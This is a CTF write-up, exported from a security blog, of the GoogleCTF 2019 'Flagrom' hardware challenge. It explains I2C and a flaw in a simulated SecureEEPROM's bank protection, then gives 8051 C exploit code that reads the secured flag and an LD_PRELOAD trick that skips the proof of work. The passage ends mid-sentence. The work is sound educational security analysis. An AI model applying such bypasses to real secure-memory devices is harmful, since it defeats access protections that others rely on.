{"id":15578,"date":"2019-07-23T18:14:02","date_gmt":"2019-07-23T17:14:02","guid":{"rendered":"https:\/\/www.riskinsight-wavestone.com\/?p=15578"},"modified":"2021-07-07T16:34:01","modified_gmt":"2021-07-07T15:34:01","slug":"googlectf-2019-quals-flagrom-challenge-writeup","status":"publish","type":"post","link":"https:\/\/www.riskinsight-wavestone.com\/en\/2019\/07\/googlectf-2019-quals-flagrom-challenge-writeup\/","title":{"rendered":"GoogleCTF 2019 Quals \u2013 Flagrom Challenge Writeup"},"content":{"rendered":"<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s1600\/header.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-NRoX8x8cCbs\/XTb162VokSI\/AAAAAAAAApo\/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs\/s640\/header.jpg\" width=\"640\" height=\"160\" border=\"0\" data-original-height=\"200\" data-original-width=\"800\" \/><\/a><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">On June 22 and 23, 2019, Wavestone CTF team <i>YoloSw4g<\/i>\u00a0took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<style type=\"text\/css\">\nspan.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br \/>.w-user { color: cornflowerblue; font-family: monospace !important; }<br \/>.w-root { color: lightcoral; font-family: monospace !important; }<br \/>.w-server { color: chartreuse; font-family: monospace !important; }<br \/>.w-cli { color: lightskyblue; font-family: monospace !important; }<br \/>.w-grepped { color: red; font-family: monospace !important; }<br \/>.w-all { font-family: monospace !important; }<br \/>.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br \/>.sc0 { font-family: monospace !important; }<br \/>.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br \/>.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br \/>.sc11 { font-family: monospace !important; }<br \/>.sc16 { color: rgb(103, 140, 177); font-family: monospace !important; }<br \/>#table_wiki { width: 100%; border-collapse: collapse; }<br \/>#table_wiki td { text-align: center; border: 1px solid gray; width: 8%; background-color: rgb(245, 239, 237); }<br \/>.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br \/>.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br \/>.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br \/>.sc6 { color: rgb(236, 118, 0); font-family: monospace !important; }<br \/>.sc9 { color: rgb(160, 130, 189); font-family: monospace !important; }<br \/>.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br \/><\/style>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\">Introduction<\/h3>\n<div style=\"text-align: justify;\">The goal of the challenge is simple and given in the description:<\/div>\n<p><span class=\"w-code\">This 8051 board has a SecureEEPROM installed. It&#8217;s obvious the flag is stored there. Go and get it.<\/span><\/p>\n<div style=\"text-align: justify;\">Four files are provided with it:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li><a href=\"https:\/\/github.com\/CERT-W\/securityinsider\/blob\/master\/Google-CTF-Quals2019-Flagrom-Challenge-Writeup\/files\/flagrom?raw=true\">flagrom<\/a>: an ELF64 which is the main program,<\/li>\n<li><a href=\"https:\/\/github.com\/CERT-W\/securityinsider\/blob\/master\/Google-CTF-Quals2019-Flagrom-Challenge-Writeup\/files\/firmware.8051?raw=true\">firmware.8051<\/a>: the firmware which is compiled for an Intel 8051 microcontroller,<\/li>\n<li><a href=\"https:\/\/github.com\/CERT-W\/securityinsider\/blob\/master\/Google-CTF-Quals2019-Flagrom-Challenge-Writeup\/files\/firmware.c\">firmware.c<\/a>: the source code of firmware.8051,<\/li>\n<li><a href=\"https:\/\/github.com\/CERT-W\/securityinsider\/blob\/master\/Google-CTF-Quals2019-Flagrom-Challenge-Writeup\/files\/seeprom.sv\">seeprom.sv<\/a>: the hardware description (in SystemVerilog) of the SecureEEPROM.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">At the first launch, a proof of work is required:<\/div>\n<div style=\"text-align: justify;\"><span class=\"w-code\">$ <span class=\"w-cli\">.\/flagrom <\/span><br \/>\nWhat&#8217;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with <span class=\"w-grepped\">55d55d<\/span>?\u00b4<\/span><\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">The <b>LD_PRELOAD<\/b> functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the <i>exit() <\/i>function to do nothing:<\/div>\n<div style=\"text-align: justify;\"><span class=\"w-code\"><span class=\"sc16\">void<\/span> <span class=\"sc11\">exit<\/span><span class=\"sc10\">(<\/span><span class=\"sc16\">int<\/span> <span class=\"sc11\">x<\/span><span class=\"sc10\">){<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">x<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">1<\/span> <span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">}<\/span><\/span><\/div>\n<div style=\"text-align: justify;\">It is then possible to get an overview of how the challenge works:<\/div>\n<p><span class=\"w-code\">$ <span class=\"w-cli\">LD_PRELOAD=exit.so .\/flagrom <\/span><br \/>\nWhat&#8217;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?<br \/>\nThat looks wrong. Good bye.<br \/>\nWrong answer. Good bye.<br \/>\nWhat&#8217;s the length of your payload?<br \/>\n0<br \/>\nExecuting firmware&#8230;<br \/>\n[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br \/>\n[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br \/>\n[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br \/>\n[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br \/>\nExecuting usercode&#8230;<br \/>\nClean exit.<\/span><\/p>\n<div style=\"text-align: justify;\"><b>Flagrom <\/b>operates as follows:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>Get a proof of work,<\/li>\n<li>Get usercode from the user (the payload),<\/li>\n<li>Execute the firmware,<\/li>\n<li>Execute the usercode.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">Let&#8217;s take a look at the firmware code:<\/div>\n<p><span class=\"w-code\"><span class=\"sc16\">void<\/span> <span class=\"sc11\">main<\/span><span class=\"sc10\">(<\/span><span class=\"sc16\">void<\/span><span class=\"sc10\">)<\/span> <span class=\"sc10\">{<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">write_flag<\/span><span class=\"sc10\">();<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">secure_banks<\/span><span class=\"sc10\">();<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">remove_flag<\/span><span class=\"sc10\">();<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">write_welcome<\/span><span class=\"sc10\">();<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">POWEROFF<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">1<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">}<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">The <i>main()<\/i> function sum up all actions:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>The flag is written in the SecureEEPROM, starting at address 64.<\/li>\n<li>The second 64-byte bank (the one with the flag) is <b>secured against access<\/b>.<\/li>\n<li>The <b>flag is removed<\/b> from the main program memory.<\/li>\n<li>The string &#8220;Hello there&#8221; is written in the SecureEEPROM, starting at address 0.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">\n<h3>Understanding the SecureEEPROM<\/h3>\n<\/div>\n<div style=\"text-align: justify;\">All communications with the SecureEEPROM is perform with the I\u00b2C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I\u00b2C works.<\/div>\n<div style=\"text-align: justify;\">It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.<\/div>\n<div style=\"text-align: justify;\">\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-6CXt0-ApxMw\/XTb16Ga-g3I\/AAAAAAAAAps\/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL\/s1600\/1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-6CXt0-ApxMw\/XTb16Ga-g3I\/AAAAAAAAAps\/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL\/s640\/1.png\" width=\"640\" height=\"106\" border=\"0\" data-original-height=\"267\" data-original-width=\"1600\" \/><\/a><\/div>\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">Timing diagram of a I\u00b2C communication (source: Wikipedia)<\/span><\/i><\/div>\n<\/div>\n<div style=\"text-align: justify;\">An I\u00b2C transaction is a composed of:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>A <i>start bit<\/i> (in yellow) which indicate a new transaction is about to be sent,<\/li>\n<li>Several data bits (in green), indicated with a high SCL,<\/li>\n<li>A <i>stop bit<\/i> (in yellow) which indicate the end on the transaction.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\">After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">I\u00b2C specifications define an addressing structure to indicate which slave is the recipient:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>The address constitutes the first 7 bits of the transaction (most significant bit first).<\/li>\n<li>The 8th bit indicates whether it is a read (1) or write (0) action.<\/li>\n<li>The slave acknowledges here (first byte).<\/li>\n<li>The rest is the data which is device-specific.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<table id=\"table_wiki\">\n<tbody>\n<tr>\n<td style=\"background-color: #dfdcd4;\" rowspan=\"4\">Start<\/td>\n<td colspan=\"7\">Slave address<\/td>\n<td style=\"background-color: #dacdeb;\">R\/W<\/td>\n<td style=\"background-color: #dfdcd4;\" rowspan=\"4\">ACK<\/td>\n<td rowspan=\"4\">Data<\/td>\n<td style=\"background-color: #dfdcd4;\" rowspan=\"4\">Stop<\/td>\n<\/tr>\n<tr>\n<td>0<\/td>\n<td>1<\/td>\n<td>2<\/td>\n<td>3<\/td>\n<td>4<\/td>\n<td>5<\/td>\n<td>6<\/td>\n<td style=\"background-color: #dacdeb;\">7<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\">MSB<\/td>\n<td rowspan=\"2\"><\/td>\n<td rowspan=\"2\"><\/td>\n<td rowspan=\"2\"><\/td>\n<td rowspan=\"2\"><\/td>\n<td rowspan=\"2\"><\/td>\n<td rowspan=\"2\">LSB<\/td>\n<td style=\"background-color: #dacdeb;\">0\u00a0=\u00a0R<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #dacdeb;\">1\u00a0=\u00a0W<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">Addressing structure of an I\u00b2C transaction<\/span><\/i><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">For the SecureEEPROM, two addresses are defined in <i>firmware.c<\/i>:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>The address of the memory module used to read and write data in the EEPROM,<\/li>\n<li>The address of the security module used to secure EEPROM data banks.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\">The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">Let&#8217;s now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.<\/div>\n<div style=\"text-align: justify;\">Some procedural blocks are used to keep track of the state of the I\u00b2C bus within the program:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li><b>i2c_scl_state <\/b>keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.<\/li>\n<li><b>i2c_start <\/b>and <b>i2c_stop <\/b>are set whenever a start or stop bit is sent on the bus.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (<b>always_ff<\/b>) which defines a finite state machine to handle I\u00b2C communications and actions on the EEPROM.<\/div>\n<div style=\"text-align: justify;\">\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<p><a style=\"margin-left: 1em; margin-right: 1em; text-align: center;\" href=\"https:\/\/1.bp.blogspot.com\/-0wpaO63mcJY\/XTcCOF4K8UI\/AAAAAAAAAqM\/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs\/s1600\/2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-0wpaO63mcJY\/XTcCOF4K8UI\/AAAAAAAAAqM\/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs\/s640\/2.png\" width=\"609\" height=\"640\" border=\"0\" data-original-height=\"1160\" data-original-width=\"1105\" \/><\/a><\/p>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">Finite state machine of the SecureEEPROM<\/span><\/i><\/div>\n<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.<\/li>\n<li>After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.<\/li>\n<li>When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.<\/li>\n<li>When the recipient is the EEPROM module, the action depends on the R\/W bit of the control byte:\n<ul>\n<li>For write action, the EEPROM first read an address before writing into memory.<\/li>\n<li>For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should\n<ul>\n<li>Start a write transaction to the EEPROM module and load the address,<\/li>\n<li>Start a new read transaction to the EEPROM module without a stop bit,<\/li>\n<li>Read the required number of bytes,<\/li>\n<li>Send a stop bit to end the transaction.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.<\/li>\n<li>In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.<\/li>\n<\/ul>\n<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<h3>Reading secured areas<\/h3>\n<\/div>\n<div style=\"text-align: justify;\">\n<h4>Finding the vulnerability<\/h4>\n<\/div>\n<div style=\"text-align: justify;\">The protection of the memory, in the EEPROM, is performed at two stages:<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (<b>i2c_address_valid<\/b> = 0),<\/li>\n<li>After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\">The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.<\/div>\n<div style=\"text-align: justify;\">What about changing the security of the current address after loading it?<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>When a bank is secured, the loaded address is not checked nor invalidated.<\/li>\n<li>We cannot send any stop bit otherwise the loaded address would be invalidated.<\/li>\n<li>However, we can use the start bit to start a new transaction while keeping the address loaded.<\/li>\n<\/ul>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-ea3gOmmP50s\/XTcDq6OL3BI\/AAAAAAAAAqk\/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs\/s1600\/3.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-ea3gOmmP50s\/XTcDq6OL3BI\/AAAAAAAAAqk\/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs\/s640\/3.png\" width=\"640\" height=\"454\" border=\"0\" data-original-height=\"611\" data-original-width=\"860\" \/><\/a><\/div>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">\u00a0<\/span><\/i><\/div>\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">Exploitation path \u2014 load an unprotected address<\/span><\/i><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>Then secure the first bank:<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-87VxHPpRYPI\/XTcD8u8jqRI\/AAAAAAAAAqs\/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs\/s1600\/4.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-87VxHPpRYPI\/XTcD8u8jqRI\/AAAAAAAAAqs\/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs\/s640\/4.png\" width=\"640\" height=\"280\" border=\"0\" data-original-height=\"379\" data-original-width=\"861\" \/><\/a><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">Exploitation path \u2014 secure the bank of the loaded address<\/span><\/i><\/div>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>Finally, start a read action and read past the current bank boundaries:<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-yh4f-R4YeXc\/XTcEDSqMs_I\/AAAAAAAAAqw\/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs\/s1600\/5.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-yh4f-R4YeXc\/XTcEDSqMs_I\/AAAAAAAAAqw\/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs\/s640\/5.png\" width=\"590\" height=\"640\" border=\"0\" data-original-height=\"866\" data-original-width=\"800\" \/><\/a><\/div>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i><span style=\"font-size: x-small;\">Exploitation path \u2014 read past the current bank<\/span><\/i><\/div>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">\n<h4>Exploitation from a user code<\/h4>\n<\/div>\n<div style=\"text-align: justify;\">Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I\u00b2C communications.<\/div>\n<p><span class=\"w-code\"><span class=\"sc16\">void<\/span> <span class=\"sc11\">seeprom_write_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">addr<\/span><span class=\"sc10\">,<\/span> <span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">value<\/span><span class=\"sc10\">)<\/span> <span class=\"sc10\">{<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">seeprom_wait_until_idle<\/span><span class=\"sc10\">();<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_ADDR<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">SEEPROM_I2C_ADDR_MEMORY<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_LENGTH<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">2<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_ERROR_CODE<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_DATA<\/span><span class=\"sc10\">[<\/span><span class=\"sc4\">0<\/span><span class=\"sc10\">]<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">addr<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_DATA<\/span><span class=\"sc10\">[<\/span><span class=\"sc4\">1<\/span><span class=\"sc10\">]<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">value<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_RW_MASK<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">0b00<\/span><span class=\"sc10\">;<\/span> <span class=\"sc1\">\/\/ 2x Write Byte<br \/>\n<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">I2C_STATE<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">1<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">seeprom_wait_until_idle<\/span><span class=\"sc10\">();<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">}<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">It is, however, not possible to change the address within the same communication. A raw access to I\u00b2C wires is however provided:<\/div>\n<p><span class=\"w-code\"><span class=\"sc11\">__sfr<\/span> <span class=\"sc11\">__at<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">0xfa<\/span><span class=\"sc10\">)<\/span> <span class=\"sc11\">RAW_I2C_SCL<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">__sfr<\/span> <span class=\"sc11\">__at<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">0xfb<\/span><span class=\"sc10\">)<\/span> <span class=\"sc11\">RAW_I2C_SDA<\/span><span class=\"sc10\">;<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">Wikipedia provides an <a href=\"https:\/\/en.wikipedia.org\/wiki\/I%C2%B2C#Example_of_bit-banging_the_I%C2%B2C_master_protocol\">example in C code<\/a> in the I\u00b2C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:<\/div>\n<p><span class=\"w-code\"><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">i2c_write_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">send_start<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">send_stop<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">byte<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">i2c_read_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc16\">unsigned<\/span> <span class=\"sc16\">char<\/span> <span class=\"sc11\">send_stop<\/span><span class=\"sc10\">);<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:<\/div>\n<p><span class=\"w-code\"><span class=\"sc9\">#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)<br \/>\n#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)<br \/>\n<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc16\">void<\/span> <span class=\"sc11\">main<\/span><span class=\"sc10\">(<\/span><span class=\"sc16\">void<\/span><span class=\"sc10\">)<\/span> <span class=\"sc10\">{<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc16\">int<\/span> <span class=\"sc11\">i<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc6\">&#8220;start user program\\n&#8221;<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">\/* Load address 0 *\/<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">i2c_write_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">1<\/span><span class=\"sc10\">,<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">SEEPROM_I2C_CTRL_WRIT<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">i2c_write_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">0<\/span><span class=\"sc10\">,<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">,<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">\/* Secure all banks *\/<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">i2c_write_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">1<\/span><span class=\"sc10\">,<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">SEEPROM_I2C_ADDR_SECURE<\/span> <span class=\"sc10\">|<\/span> <span class=\"sc4\">0b1111<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">\/* Read 255 bytes of memory *\/<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">i2c_write_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">1<\/span><span class=\"sc10\">,<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">SEEPROM_I2C_CTRL_READ<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">for<\/span> <span class=\"sc10\">(<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">=<\/span><span class=\"sc4\">0<\/span><span class=\"sc10\">;<\/span> <span class=\"sc11\">i<\/span><span class=\"sc10\">&lt;<\/span><span class=\"sc4\">255<\/span><span class=\"sc10\">;<\/span> <span class=\"sc11\">i<\/span><span class=\"sc10\">++)<\/span> <span class=\"sc10\">{<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">if<\/span> <span class=\"sc10\">(<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">%<\/span><span class=\"sc4\">64<\/span> <span class=\"sc10\">==<\/span> <span class=\"sc4\">0<\/span><span class=\"sc10\">)<\/span> <span class=\"sc10\">{<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc6\">&#8220;\\n&#8221;<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">}<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">CHAROUT<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">i2c_read_byte<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">0<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">}<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">print<\/span><span class=\"sc10\">(<\/span><span class=\"sc6\">&#8220;\\n&#8221;<\/span><span class=\"sc10\">);<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">POWEROFF<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">1<\/span><span class=\"sc10\">;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">}<\/span><span class=\"sc0\"><br \/>\n<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">The full exploitation program can be found <a href=\"https:\/\/github.com\/CERT-W\/securityinsider\/blob\/master\/Google-CTF-Quals2019-Flagrom-Challenge-Writeup\/solve\/hack.c\">here<\/a>. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to 